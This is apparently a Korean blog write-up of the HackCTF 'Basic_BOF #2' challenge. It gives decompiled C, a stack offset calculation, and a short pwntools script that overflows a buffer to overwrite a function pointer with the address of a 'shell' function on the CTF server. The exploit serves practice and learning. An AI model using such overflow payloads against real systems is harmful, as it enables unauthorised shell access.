int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-8Ch]
void (*v5)(void); // [esp+8Ch] [ebp-Ch]
v5 = (void (*)(void))sup;
fgets(&s, 133, stdin);
v5();
return 0;
}
s = epb-8Ch = 140
V5 = ebp-Ch = 12
140 - 12 = 128
ret |
sfp |
V5 |
s |
fgets =133
sup을 형변환을 통해 v5변수에 넣어주고 , v5호출한다.
fgets로 133개 밖에 못받아 ret까지 bof를 발생시키지 못하므로 1번문제와는 조금 다르게 접근해야 할 것 같다.
IDA를 보면 shell이라는 함수가 있다.
return address를 shell의 주소값으로 변조해주면 될 것 같다.
0x0804849b
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3001)
pay = b"A"*128
pay +=p32(0x0804849B)
p.sendline(pay)
p.interactive()
'Write-Up > HackCTF' 카테고리의 다른 글
[HackCTF] x64 Simple_size_BOF (0) | 2021.05.16 |
---|---|
[HackCTF] x64 Buffer Overflow (0) | 2021.05.16 |
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2021.05.15 |
[HackCTF] Basic_FSB (0) | 2021.05.15 |
[HackCTF] Basic_BOF #1 (0) | 2021.05.15 |